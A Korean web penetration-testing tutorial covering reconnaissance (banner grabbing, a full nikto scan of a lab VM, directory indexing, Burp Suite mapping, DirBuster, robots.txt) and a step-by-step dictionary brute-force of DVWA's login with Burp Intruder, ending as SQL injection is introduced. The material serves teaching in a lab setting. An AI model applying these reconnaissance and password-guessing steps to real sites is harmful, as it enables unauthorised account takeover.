수집할 정보의 분류

수집할 정보는 크게 두 가지로 분류 할 수 있습니다.

  • 웹 애플리케이션을 서비스하기 위한 호스트 환경(운영체제, 웹 서버, 웹 프레임워크 등)에 대한 정보
  • 웹 애플리케이션 자체에 대한 정보

호스트 환경에 대한 정보 수집을 통해 이와 관련된 취약점을 쉽게 찾아 공격에 활용할 수 있습니다.

추가로 웹 애플리케이션 매핑을 통해 웹 애플리케이션 자체의 정보를 수집함으로써 그 구조를 파악하고 공격 지점을 찾게 됩니다.

배너를 통한 정보 수집

웹 서버와 관련된 정보를 가장 간단하게 확인할 수 있는 방법은 응답 메시지의 서버헤더를 살펴보는 것입니다. 이와 같이 서버의 응답을 통해 정보를 수집하는 방법을 배너 그래빙(banner grabbing)이라고 합니다.

서버 헤더를 통해, 아파치 웹 서버 버전 정보, 운영체제, PHP 버전 정보, OpenSSL 정보 등 각종 정보를 쉽게 알 수 있습니다. 서버 헤더 이외에도 다음과 같은 헤더들이 호스트 환경의 불필요한 정보를 노출하는 경우가 있습니다.

  • X-Powered-By
  • X-ASPNET-VERSION

웹 브라우저에서 제공하는 개발자 도구(단축키 F12)를 이용하여 쉽게 확인할 수 있습니다. 개발자 도구의 네트워크(Network) 탭을 연 다음, 웹 사이트에 접속하면 그때 전송된 요청 내역이 모두 표시됩니다. 이 중에서 한 항목을 클릭하면 해당 요청에 대한 응답 메시지 정보를 확인할 수 있습니다.

버프 스위트의 프록시 히스토리 기능을 이용해서도 확인할 수 있습니다.

기본 설치 파일을 통한 시스템 정보 수집

종종 웹 애플리케이션을 운영하기 위한 웹 서버와 웹 프레임워크, 기타 구성 요소를 설치할 때 기본으로 설치되는 파일로 인해 호스트 환경에 대한 정보가 노출되는 경우가 있습니다.

그림 1-3-1phpinfo.php를 통한 정보 노출

해당 파일을 통해 PHP 환경에 대한 정보, 환경 변수, 그 밖의 다양한 호스트 관련 정보가 노출될 수 있습니다.

웹 취약점 스캐닝

웹 취약점 스캐닝이란 자동화된 프로그램을 이용하여 웹사이트의 여러 가지 정보를 수집하고 이 정보들을 바탕으로 어떤 취약점이 있는지 알아내는 과정입니다.

칼리 리눅스에 기본으로 설치되어 있는 웹 스캐닝 프로그램 중에 nikto 라는 프로그램이 있습니다. nikro를 이용하면 간단한 명령으로 중요한 정보를 쉽게 수집할 수 있습니다.

실습목표

nikto를 이용해 정보를 수집해 봅니다.

칼리 리눅스의 터미널을 열고 nikto를 입력하면 nikto 프로그램 사용을 위한 옵션을 확인할 수 있습니다.

그림 1-4-1nikto 웹 취약점 스캐너 옵션

여러 옵션이 표시되지만 간단하게 -host 옵션뒤에 스캐닝할 IP 주소만 입력하더라도 스캐닝을 실행하여 많은 정보를 수집할 수 있습니다.

root@kali:~# nikto -host 192.168.75.131
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.75.131
+ Target Hostname:    192.168.75.131
+ Target Port:        80
+ Start Time:         2018-09-22 11:19:20 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g
+ Server leaks inodes via ETags, header found with file /, inode: 838422, size: 625, mtime: Sat Jan  6 10:14:02 2018
+ The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs) + /crossdomain.xml contains a full wildcard entry. See http://jeremiahgrossman.blogspot.com/2008/05/crossdomainxml-invites-cross-site.html
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current. + OpenSSL/0.9.8g appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current. + mod_ssl/2.2.8 appears to be outdated (current is at least 2.8.31) (may depend on server version) + PHP/5.2.4-2ubuntu5 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
+ Uncommon header 'tcn' found, with contents: list + Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.bak, index.html + mod_ssl/2.2.8 OpenSSL/0.9.8g - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + OSVDB-561: /server-status: This reveals Apache information. Comment out appropriate line in the Apache conf file or restrict access to allowed sources. + Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5 + OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: /icons/: Directory indexing found. + OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found. + OSVDB-3092: /README: README file found. + OSVDB-3092: /INSTALL.txt: Default file found. + OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ OSVDB-3092: /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. + /server-status: Apache server-status interface found (pass protected) + 7534 requests: 0 error(s) and 26 item(s) reported on remote host + End Time: 2018-09-22 11:19:38 (GMT9) (18 seconds) --------------------------------------------------------------------------- + 1 host(s) tested

출력된 결과(색상 강조한 내용 참조)를 통해 여러가지 정보들을 얻을 수 있습니다.

  • 서버 헤더 및 PHP, 아파치, mod_ssl 등의 버전이 오래되었다(outdate).
  • 보안 관련 헤더가 설정되어 있지 않다.
  • 허용된 메소드 목록 정보
  • /icons/, /images/ 경로에서 디렉터리 인덱싱이 발견되었다.
  • phpMyAdmin 디렉터리가 발견되었다.

이와 같은 정보들은 모의해킹을 수행하는 과정에서 향후 공격에 중요한 단서가 될 수 있습니다. 특히 이 중에서도 오래된 버전을 사용하는 소프트웨어에는 이미 알려진 취약점들이 존재할 수 있는데 이 취약점을 활용하여 쉽게 공격을 성공할 수 있는 경우도 있습니다.

디렉터리 인덱싱

디렉터리 인덱싱(direcctory indexing) 취약점은 웹 서버의 잘못된 설정으로 웹 서버 디렉터리의 파일들이 노출되는 취약점 입니다. 이 취약점은 디렉터리 리스팅 취약점 이라고 부르기도 하며 과거 국가정보원 8대 홈페이지 취약점으로 선정되었던 적이 있습니다.

그림 1-5-1디렉터리의 기본 출력파일을 설정하는 mod_dir 아파치 모듈

사용자가 웹 브라우저의 주소로 디렉터리 경로를(예. /images/) 요청할 때 해당 디렉터리에 그림 1-5-1과 같이 설정된 index.html, index.cgi, index.php 등의 파일이 존재하면 해당 파일을 출력하게 됩니다. 그런데 만일 지정된 파일들이 모두 디렉터리에 존재하지 않으면 해당 디렉터리의 모든 파일 목록이 최종적으로 출력되어 문제가 발생합니다.

관리자가 이 설정에 주의를 기울이지 않으면 디렉터리의 목록이 출력될 때 중요한 문서나 파일들이 원하지 않게 노출될 수 있습니다. 특히 아파치와 같은 일부 웹 서버의 경우 처음 소프트웨어 설치 시 기본적으로 디렉터리 인덱싱이 설정되어 있는데, 관리자는 반드시 해당 설정을 사용해도 되는지 점검해야 합니다.

그림 1-5-2디렉터리 인덱싱

그럼 1-5-2과 같은 이미지 디렉터리나 아이콘 디렉터리의 파일 목록이 출력되는 것은 크게 문제가 되지 않지만, 다음 그림과 같이 /bWAPP/documents/ 경로로 접속해 보면 documents 디렉터리에 있는 각종 문서 파일들이 노출됩니다. 파일을 다운로드하는 것도 가능하기 때문에, 중요한 문서 파일이 노출되면 큰 문제가 될 수 있습니다.

그림 1-5-3디렉터리 인덱싱 - documents 디렉터리

디렉터리 인덱싱 취약점으로 인한 더욱 심각한 상황은 소스코드가 노출되거나 중요한 개인정보가 노출되는 경우입니다. /bWAPP/passwords/ 디렉터리가 바로 그런 경우입니다.

그림 1-5-4디렉터리 인덱싱 - passwords 디렉터리

그림 1-5-4에 표시된 내용 중에서 accounts.txt, heroes.xml 파일 등은 사용자 관련 정보를 포함하고 있기 때문에 절대 노출되어서는 안되는 파일들입니다.

그 밖에 web.config.bak, web-config.bak 파일과 같은 백업 파일을 통해서도 중요한 정보들이 노출될 수 있습니다. 웹 사이트에 따라 백업 파일의 내용 중 민감한 데이터들이 포함되어 있을 수도 있습니다. 또한 비슷한 예로 웹 개발 시 종종 테스트 하기 위해 테스트 파일을 생성하는 경우가 있는데 테스트 파일 안에 내부적인 변수 값이나 계정 정보 등이 포함되어 외부로 노출되는 경우도 있습니다. 이러한 정보들은 모두 공격에 이용될 수 있습니다.

웹 애플리케이션 매핑

웹 애플리케이션 패밍이란, 마치 웹 애플리케이션의 지도를 그리듯, 웹 애플리케이션의 메뉴와 링크를 따라가면서 URL과 파라미터들이 전송되는지 웹 애플리케이션의 구조를 파악하는 과정입니다. 이 과정을 통해 웹 애플리케이션이 어떤 기능을 가지고 있는지, 각 기능은 어떻게 동작하는지 쉽게 이해할 수 있고, 이후 각종 모의해킹 공격을 위한 공격 지점을 찾게 됩니다.

수동 매핑

수동 매핑은 직접 웹 애플리케이션에 접속하여 각 메뉴를 확인하는 과정입니다. 이를 위해 버프 스위트의 사이트 맵 기능을 활용할 수 있습니다.

실습목표

웹 애플리케이션의 메뉴를 직접 접속한 후 버프 스위트의 사이트 맵 기능에서 구조를 파악해 봅니다.

버프 스위트를 실행하고, 프록시 탭의 인터셉트 기능은 끕니다. 웹 브라우저에서 프록시 기능을 활성화 하고 DVWA 애플리케이션에 접속해 봅니다. DVWA에 접속하여 웹 페이지가 표시되면 여러가지 메뉴를 하나씩 눌러봅니다. 로그인 화면이 있다면 로그인도 시도해 봅니다. 이 과정을 진행하면서 버프 스위트의 사이트 맵 기능을 보면 그림 1-5와 같이 URL들과 파라미터들이 트리 형태로 표시됩니다.

그림 1-6-1웹 애플리케이션 매핑 결과를 사이트 맵 기능에서 확인할 수 있다.

웹 애플리케이션의 새로운 메뉴를 누를 때마다 사이트 맵 트리에는 새로운 정보가 업데이트 됩니다. 선명한 검정색 글씨로 표기된 URL은 직접 브라우저를 통해 요청한 URL이고 흐린 회색 URL은 버프 스위트가 응답 메시지에 포함된 링크를 분석하여 알아낸 URL입니다. 이와 같이 화면에 표시되지 않는 URL들도 자동으로 표시되기 때문에 웹 애플리케이션의 구조를 파악하는데 많은 도움이 됩니다.

크롤링

크롤링을 이용하면 웹 애플리케이션 매핑 과정을 자동으로 수행할 수 있습니다. 크롤링은 웹 페이지의 링크를 분석하여 새로운 웹 페이지를 찾아내는 과정입니다.

크롤링을 수행하는 프로그램을 크롤러라고 하며 크롤러는 다음과 같은 과정으로 동작합니다.

  • 크롤러가 처음 지정된 URL로 요청한다. 이 URL은 크롤러를 처음 시작할 때 사용자가 지정하게 되는데, 웹 로봇과 같은 크롤러는 robots.txt 라는 파일을 읽고 크롤링을 시작한다.
  • 처음 요청에 의해 전송받은 응답 메시지를 분석하고, 응답에 포함된 링크를 각각 추가로 요청한다.
  • 링크 요청에 의해 전송받은 응답 메시지를 다시 분석하고, 링크가 다시 포함되어 있으면 또다시 해당 링크를 추가 요청한다.
  • 더 이상 링크를 찾을 수 없거나 404나 500 등과 같은 에러메시지가 응답될 때까지 이 과정을 반복한다.

이렇게 함으로써 자동으로 웹 사이트 내의 웹 페이지들을 찾아낼 수 있습니다.

버프 스위트의 스파이더 기능으로 크롤링을 수행할 수 있습니다.

실습목표

버프 스위트의 스파이더 기능을 실행해 봅니다.

그림 1-6-2사이트 맵에서 마우스 우큭릭 메뉴를 이용한 스파이더 실행

그림 1-6-2과 같이 사이트 맵에 생성된 호스트 주소를 선택하고 마우스 우클릭 메뉴에서 스파이더를 실행할 수 있습니다.

그림 1-6-3스파이더 실행 중 로그인 정보 입력

스파이더 기능이 실행 중에 폼을 입력할 수 있는 페이지를 찾게 되면, 그림 1-6-3에서 처럼 로그인 폼의 경우에는 사용자의 입력을 받기 위한 팝업창을 생성시키기도 합니다. 일반적인 폼의 경우에는 파라미터 입력값을 스파이더가 임의의 값으로 지정하여 전송하기도 합니다.

그런데 이렇게 자동으로 임의의 값을 전송하는 것이 편리하긴 하지만 웹 애플리케이션에 따라 사용자가 직접 폼을 입력해야 좀 더 정확한 결과를 얻을 수 있을 때가 많습니다. 어떤 웹 애플리케이션의 경우에는 파라미터의 값에 따라 다른 기능이 실행되거나 웹 페이지의 내용이 완전히 바뀌는 경우가 있습니다. 이와 같은 상황에서는 자동 크롤링으로 정확한 정보를 알아내기는 거의 불가능 합니다.

이런 상황에서는 웹 애플리케이션 매핑을 할 때, 수동 매핑으로 먼저 사이트의 구조를 파악한 후에 스파이더 기능을 추가로 실행하는 것이 처음부터 자동 크롤링에만 희존하는 것보다 더 정확하고 효율적이 될 수 있습니다.

그림 1-6-4하위 URL을 기준으로 스파이더 기능을 실행한다.

그림 1-6-4와 같이 호스트 주소의 하위 URL에서 스파이더 기능을 실행하면 지정된 하위 URL을 기준으로 크롤링을 수행할 수 있습니다. 이렇게 함으로써 웹 애플리케이션의 구조를 더욱 정확하게 파악할 수 있게 됩니다.

수동 매핑과 버프 스위트의 스파이더 기능으로는 웹페이지를 통해 노출된 페이지를 찾아낼 수 있습니다. 그림 1-6-4에 표시된 메뉴 중 유료 기능으로 표시된 Engagement tools 메뉴의 서브 메뉴에는 Discover content라는 기능이 있습니다. 이 기능은 웹으로 직접적으로 노출되지 않은 페이지라도 URL을 추측하여 찾아내는 기능입니다. 무료 버전 사용자는 이 기능을 사용할 수 없어 아쉽지만, DirBuster라는 별도의 프로그램을 이용하여 숨겨진 페이지를 찾아낼 수 있습니다.

DirBuster

DirBuster는 URL 목록 파일을 사용하여 각 URL을 자동으로 입력해보는 방식으로 웹 애플리케이션의 구조를 파악합니다. 따라서 링크를 따라가는 스파이더 기능과 달리 숨겨진 페이지를 찾을 수 있는 것입니다. 이와 같이 목록 파일을 사용하여 정보를 찾는 기법을 브루트 포스 공격이라고 하는데, 주로 패스워드를 찾는데 사용하는 기법입니다. 이 기법을 URL을 찾는 데도 사용할 수 있다는 점을 참고할수 있다.

실습목표

DirBuster를 실행하여 웹 애플리케이션의 콘텐츠를 확인해본다.

DirBuster는 칼리 리눅스에도 기본적으로 설치되어 있습니다. 터미널을 열고 dirbuster라고 입력하여 실행할 수 있습니다.

그림 1-6-5DirBuster 실행 화면

먼저 Target URL에 실습용 가상 머신의 주소를 입력합니다. 다음과 같이 프로토콜을 앞에 입력해 주어야 합니다.

http://192.168.75.131

그런 다음에는 그림 1-6-5의 가운데 보이는 Browse 버튼을 눌러 사용할 URL 목록 파일을 선택해야 합니다. /usr/share/direbuster/wordlists 경로를 선택하여 directory-list-1.0.txt 파일을 선택합니다.

Start 버튼을 누르면 DirBuster가 실행됩니다. 실행 중 Results 탭에서 결과를 확인 할 수 있습니다.

DirBuster 프로그램 역시 웹 애플리케이션 매핑을 위해 활용할 수 있으며 DirBuster로 찾은 URL로 직접 접속해 보면서 수동 매핑과 크롤링을 추가로 연계해 나갈 수 있습니다.

robots.txt

우리가 잘 아는 구글과 네이버 같은 검색 엔진은 대부분 웹 로봇을 이용하여 웹사이트의 정보를 수집합니다. 웹 로봇 역시 크롤러의 일종입니다. 웹사이트의 운영자는 robots.txt 파일을 웹 사이트의 가장 상위 디렉터리에 위치시켜, 웹 로봇에게 해당 웹사이트의 정보 수집을 허용하거나 불허하는 명령을 내릴 수 있습니다.

웹사이트 운영자는 robots.txt 파일 내의 User-agent 키워드를 이용하여 지정된 User-agent 요청 헤더를 전송하는 특정 로봇에게 명령을 내릴수 있습니다. User-agent 키워드의 값으로 * 특수문자를 지정하면 모든 로봇들에게 명령을 내릴 수 있습니다. Disallow 키워드는 설정된 경로(하위 디렉터리 포함)에 대한 수집을 차단하겠다는 명령입니다. 반대로 수집을 허용할 때에는 Allow 키워드를 사용합니다.

그림 1-7-1bWAPP robots.txt 파일

그림 1-7-1의 robots.txt 파일의 전체 내용은 다음과 같습니다.

  • GootBot 로봇의 수집을 불허하지 않는다.
  • BadBot 로봇을 대상으로는 모든 페이지에 대한 수집을 불허한다. 모든 페이지는 /의 하위 디렉터리에 위치하게 됩니다.
  • /admin/, /documents/, /images/, /passwords/ 디렉터리에 대한 수집은 모든 로봇을 불허한다.

그런데 문제는 rbots.txt를 아무리 잘 만들어 둔다고 하더라도 그 내용을 따를지 말지 결정하는 것은 전적으로 웹 로봇에게 달려 있다는 것입니다. 검색 엔진 등이 사용하는 합법적인 로봇은 일반적으로 borots.txt의 내용을 준수하여 수집을 진행하지만 악의적으로 제작된 로봇은 이 내용을 무시하고 Disallow 키워드로 차단한 내용을 정보 수집에 오히려 활용하기도 합니다.

모의해킹 정보 수집 과정에서도 robots.txt 파일의 내용을 확인하여 일부 경로 정보를 알아낼 수 있습니다. 그림 1-7-1의 robots.txt 내용으로부터 우리는 /admin/, /documents/, /images/, /passwords/ 디렉터리의 존재 가능 성을 알 수 있습니다. 이와 같은 정보는 기존 웹 애플리케이션 매핑을 보완해줄 수 있습니다. 간혹 이렇게 함으로써 수동 매핑을 통해서는 접근할 수 없는 경로로 알아내기도 합니다.

참고robots.txt 파일을 이용하여 보안 정책을 적용하려고 해서는 안 됩니다. Disallow 키워드 등 robots.txt에 작성된 내용은 오직 합법적인 로봇들만 규칙을 준수합니다. 규칙을 따를지 말지는 로봇들에게 달려 있씁니다. robots.txt를 통해 오히려 중요한 경로가 노출될 수 있음에 주의하세요.

취약한 인증 공격

공격자는 사용자 계정 정보를 확인하거나 세션 토큰과 같은 인증에 사용되는 토큰 정보를 입수하여 인증 과정을 우회하게 됩니다.

취약한 인증 리스크는 인증 과정이 제대로 보호되어 있지 않아서 공격자가 인증 과정을 우회할 수 있는 경우 발생합니다. 가장 흔히 볼 수 있는 사례로, 사용자가 로그인을 여러 번 실패하더라도 다음 로그인 시도에 아무런 제한을 하지 않는 경우, 브루트 포스 공격이 시도될 수 있습니다. 이 과정에서 공격자는 다량의 패스워드가 들어있는 목록 파일을 이용하여 로그인을 자동으로 수행하는 자동화 프로그램을 이용 하기도 합니다. 경우에 따라 그래픽카드 GPU를 활용하는 크래킹 프로그램 등으로 수억 개의 사용자명/패스워드를 조합하여 공격을 수행하기도 합니다.

그 밖에 취약한 인증 리스크로 인한 사례

  • 프로그램 설치 시 기본 관리자 계정이 admin/admin 과 같이 쉽게 추측할 수 있는 값으로 설정되는 경우
  • 패스워드 또는 패스워드를 알아내기 위한 힌트를 다른 사용자가 초기화 및 복구할 수 있는 경우
  • 세션 관리의 문제로 인해 사용자의 세션 ID가 노출되어 공격자가 세션 하이재킹 공격이 가능한 경우
  • 세션 ID를 쉽게 추측할 수 있는 경우
  • 세션에 대한 타임아웃이 없어, 오래된 세션 ID를 사용해서 인증이 가능한 경우

브루트 포스(brute force) 공격

브루트 포스(brute force) 공격은 특정 정보(주로 사용자의 패스워드)를 알아내기 위한 공격입니다. 패스워드 크래킹을 위해 사용하기도 하며, 웹 애플리케이션을 대상으로는 로그인에 필요한 사용자 패스워드를 알아내고자 할 때 사용할 수 있습니다.

웹 애플리케이션 중에는 사용자가 로그인을 여러 번 실패하더라도 다음 로그인 시도에 아무런 제한을 하지 않는 경우가 있습니다. 이 경우 로그인을 무한히 계속해서 시도할 수 있기 때문에, 공격자는 특정 사용자의 패스워드를 알아내기 위해 무작위의 값을 계속 입력하며 로그인을 시도함으로써, 비록 시간이 걸린다고 할지라도, 그 사용자의 패스워드를 결국 알아낼 수 있습니다.

브루트 포스의 공격에는 크게 두 가지 방법이 있습니다.

  • 첫번째 방법은 아주 단순한 방법으로 일련의 문자들을 하나씩 입력하는 것입니다. 단점은 패스워드의 길이가 어느 정도 길어지면 사실상 공격이 어렵다는 점입니다. 예를 들어 간단히 계산해 보겠습니다. 특수문자를 빼고 영문 대소문자 조합(26자+26)에 10개의 숫자를 포함하면 총 62자입니다. 패스워드가 열 자리 라고 한다면 총 경우의 수는 다음과 같습니다.

    62^10 = 839,299,365,868,340,200

    이때 자동화된 프로그램이 초당 10억 번의 로그인 시도를 한다고 가정하면 모든 경우의 수만큼 시도하는 데 26년 이상 걸리게 됩니다. 특수문자가 포함되면 문자 수가 더욱 늘어나므로 시간은 더 많이 걸리게 되어 고격이 더 어려워집니다.

    참고반대로 길이가 짧아질수록 걸리는 시간은 기하급수적으로 줄어, 과거의 웹사이트들에서 주로 사용하던 여덟 자리 패스워드의 경우 단 2.5일 정도 만에 패스워드를 알아낼 수 있습니다. 따라서 패스워드를 생성할 때에는 가급적 길이를 길게 생성하는 것이 좋습니다.
  • 두번째 방법은 사람들이 자주 쓰는 패스워드를 이용하여 로그인 시도를 하는 것입니다. 이 방법을 딕셔너리 공격이라고 합니다. 공격에 사용하는 패스워드 파일이 마치 사전과 같아서 붙여진 이름입니다. 예를 들어 password, iloveyou 등과 같은 패스워드의 사용 빈도 수는 무작위로 구성된 패스워드보다 더 높습니다. 그 이유 중 하나는 많은 사용자들이 패스워드를 생성할 때 본인이 기억하기 쉬운 패스워드를 사용하기 때문입니다. 따라서 딕셔너리 공격을 이용하면 무작위 브루트 포스 공격에 비해 적은 시도로 패스워드를 알아낼 확률이 높아 패스워드를 더 빠르게 알아낼 수 있습니다.

    이 방법의 단점이라면 아무 의미가 없는 무작위 패스워드의 경우는 패스워드 파일에 포함되어 있지 않기 때문에 알아낼 수 없다는 점입니다. 이러한 단점은 목록이 더 많은 패스워드 파일을 사용하거나, 패스워드를 변형, 조합하는 등의 방법으로 더 많은 패스워드를 검사하여 어느 정도 해소할 수 있습니다.

참고패스워드 크래킹 성능을 높이기 위해 그래픽카드 GPU를 활용하는 크래킹 프로그램 등을 활용 하기도 합니다.

브루트 포스 공격 실습

실습목표

버프 스위트의 인트루더 기능을 이용하여 딕셔너리 공격을 수행하여 사용자의 패스워드를 알아내 봅니다.

그림 2-3-1브루트 포스 공격 실습 페이지

실습 페이지에는 사용자 이름과 패스워드를 입력하는 로그인 폼이 표시됩니다. 우리가 해당 사이트의 한 사용자, 예를 들면 admin 이라는 관리자 사용자가 존재하다는 것을 이미 알고 있다고 한다면(실제 상황에서도 게시판 등을 통해 사용자의 아이디는 쉽게 알 수 있는 경우가 많습니다.), 이제 이 사용자의 패스워드만 알아내면 관리자 계정으로 로그인을 할 수 있게 됩니다.

우선 로그인 폼에 패스워드를 아무거나 입력해보면 당연히 로그인에 실패합니다.

그림 2-3-2브루트 포스 로그인 실패 화면

그런데 패스워드를 여러 번 틀리게 입력하더라도, 그림 6-3과 같은 화면만 계속해서 표시될 뿐 시간 지연과 같은 다른 제한은 발생하지 않습니다. 이런 경우 브루트 포스 공격에 취약하다고 할 수 있습니다.

브루트 포스 공격을 수행하기 위해, 지금처럼 직접 로그인 폼에 일일이 입력해볼 수 있겠지만, 그렇게 하면 시간이 너무 오래 걸립니다. 따라서 거의 모든 브루트 포스 공격은 자동화 프로그램을 이용하여 진행합니다. 그 한 가지 방법으로 버프 스위트의 인트루더 기능을 활용할 수 있습니다.

먼저, 버프 스위트를 통해 요청 메시지가 전달될 수 있도록 웹 브라우저 설정을 확인한 후, 프록시(proxy) 탭의 인터셉트 기능을 끕니다.

실습 페이지의 로그인 폼에 admin과 아무 내용의 패스워드를 하나 입력하고 다시 한 번 로그인 시도를 해봅니다. 그런 다음 버프 스위트 프록시 → 히스토리(HTTP history) 탭에서 방금 입력한 요청(/deva/vnlnerabilities/brute/로 시작하는 URL)을 찾습니다. 이 요청을 그림 2-3-3과 같이 마우스 우클릭 메뉴를 이용하여 인트루더로 보냅니다.

그림 2-3-3프록시 히스토리 기능에서 인트루더로 요청을 보낸다.

이제 인트루더 기능의 포지션 탭을 보면, 방금 선택했던 요청 메시지의 내용이 표시되고 페이로드가 입력될 영역이 자동으로 몇 개 표시되어 있습니다. 대부분 쿠키나 파라미터 등 서버 쪽에서 변수 값으로 사용되는 부분입니다. 이 중에서 패스워드 파라미터의 값만 변경하도록 하기 위해, Clear 버튼을 눌러 선택된 것을 모두 지우고, 아래 그림처럼 패스워드의 값이 전달되는 password 파라미터의 값 부분을 마우스로 선택하여 Add 버튼을 누릅니다.

그림 2-3-4인트루더 페이로드 위치 설정

이렇게 위치를 설정하게 되면, 인트루더 기능이 해당 위치 부분을 다음 단계에서 설정할 페이로드 목록의 문자열로 변경하여 요청을 자동으로 전송하게 됩니다.

이제 페이로드 탭을 선택합니다.

그림 2-3-5페이로드 탭 화면

페이로드 타입이 기본적으로 심플 리스트(Simple list)로 설정되어 있습니다. 심플 리스트 페이로드 타입을 지정하면 그 아랫부분의 페이로드 옵션(Payload Options) 리스트에 등록된 문자열을 하나씩 사용하여 요청을 전송하게 됩니다. 처음에는 리스트에 아무런 항목이 표시되지 않는데, 리스트에 패스워드 리스트를 입력해 줌으로써 딕셔너리 공격을 수행할 수 있게 됩니다. Add 버튼을 누르면 리스트에 항목을 추가할 수 있지만, 수많은 패스워드를 일일이 입력하는 것은 불가능합니다. 대신 Load 버튼을 이용하여 파일로부터 목록을 추가할 수 있습니다. 칼리 리눅스에 기본으로 설치되어 있는 패스워드 파일의 내용을 불러오도록 하겠습니다.

칼리 리눅스의 /usr/share/john/password.lst 경로에는 1990년대 중반에 많이 사용된 패스워드가 2006년부터 2010년까지 웹사이트에서 많이 쓰인 패스워드로 구성되어 있는 파일이 있습니다. 그림 2-3-6은 gedit를 이용하여 해당 파일을 열어본 그림입니다. 이 파일에는 3546개의 패스워드가 등록되어 있습니다.

참고password.lst 파일에 등록되어 있는 패스워드의 수는 아주 적은 것입니다. 실제 패스워드 크래킹 상황에서는 훨씬 많은 수의 패스워드를 사용하는데, 예를 들어 칼리 리눅스의 /usr/share/wordlists 디렉터리에 있는 rockyou.txt.gz 의 압축 파일에는 1400만 개 이상의 패스워드가 등록되어 있습니다.

그림 2-3-6칼리 리눅스에 내장된 password.lst 패스워드 목록 파일

그림 2-3-7심플 리스트 목록에 패스워드 파일의 내용을 로드한다.

그림 2-3-7 화면에서 Load 버튼을 누르고 usr → share → john 폴더를 순서대로 찾아서 선택합니다. 그리고 password.lst 파일을 선택하고 Open 버튼을 누릅니다.

그림 2-3-8주석 부분을 삭제하고 난 다음의 심플 리스트

이제 화면 우측 상단의 Start Attack 버튼을 누르면 인트루더가 자동으로 요청을 보내기 시작합니다.

그림 2-3-9인트루더 실행 결과

그림 2-3-9의 실행 결과를 보면 응답 길이(length)가 다른 요청이 하나 눈에 띕니다. 3번 요청의 응답 길이는 5394로 다른 요청들의 응답 길이인 5335와 다릅니다. 이때 전송된 페이로드, password란 문자열이 사용자의 패스워드임을 추측할 수 있습니다. 왜냐하면 패스워드가 틀린 다른 모든 요청들은 그림 2-3-2와 같은 로그인 실패 페이지가 응답될 것이고, 패스워드가 올바른 경우에는 로그인에 성공하여 다른 페이지가 응답될 것이기 때문입니다. 즉 3번 요청은 로그인에 성공한 페이지가 응답된것이라고 짐작할 수 있습니다.

세션 ID 노출 사례

세션 ID가 노출되면 공격자는 그 세션 ID를 이용하여 인증 과정을 우회하여 다른 사용자가 로그인한 것처럼 웹사이트에 접속할 수 있습니다. 세션 ID는 일반적으로 쿠키를 통해 전달되지만, 간혹 설정 오류나 구현상의 이유등으로 URL을 통해 전달되는 경우가 있습니다. 그런데 URL로 세션 ID가 전달되면 이 과정에서 세션 ID가 노출될 수 있는 위험이 있습니다.

대다수의 웹 서버들은 웹 요청을 전달받으면 요청 URL를 로그 파일에 기록합니다. 또한 우리가 인터넷을 통해 원격에 있는 웹사이트에 접속할 때에는 요청이 인터넷상의 어떤 경로(라우터, 프록시 서버 등)로 전달 될지 우리가 전혀 알 수가 없는데, 이러한 중계 장치들도 요청 URI를 남기게 됩니다. 공격자가 이러한 파일에 접근하게 된다면 이 과정에서 노출된 세션 ID를 입수할 수 있습니다.

실습목표

세션 ID가 URL을 통해 노출되는 사례를 확인해 봅니다.

그림 2-4-1세션 ID URL 노출 실습 페이지

실습 페이지에 접속하면 자동으로 요청이 하나 전송됩니다. 이것은 버프 스위트의 프록시 히스토리 기능에서 확인할 수 있습니다.

그림 2-4-2PHPSESSID URL에 노출되고 있다.

그림 2-4-2에서 보다시피, 요청 URI 쿼리 스트링 부분에 PHPSESSID가 노출되어 전송되고 있습니다. 앞에서 말한 대로 웹 서버나 중계 장치에 공격자가 접근하여 관련 로그를 조회할 수 있다면 쉽게 PHPSESSID를 확인하여 해당 사용자의 세션을 가로챌 수 있게 됩니다.

따라서 꼭 필요한 경우가 아니라면 세션 ID는 쿠키나 폼의 히든 필드를 통해 전달되도록 구현하는 것이 좋습니다. 하지만 이 경우에도 세션 ID가 노출될 위험이 완전히 사라지는 것은 아닙니다.

SQL 인젝션 정보와 피해 사례

SQL 인젝션은 오랜 기간 계속해서 OWASP Top 10의 가장 심각한 리스크로 선정된 인젝션 리스크의 대표적인 공격이며, 웹사이트의 회원정보 등 개인정보를 탈취하고자 오래전부터 지속적으로 사용되어온 공격입니다.

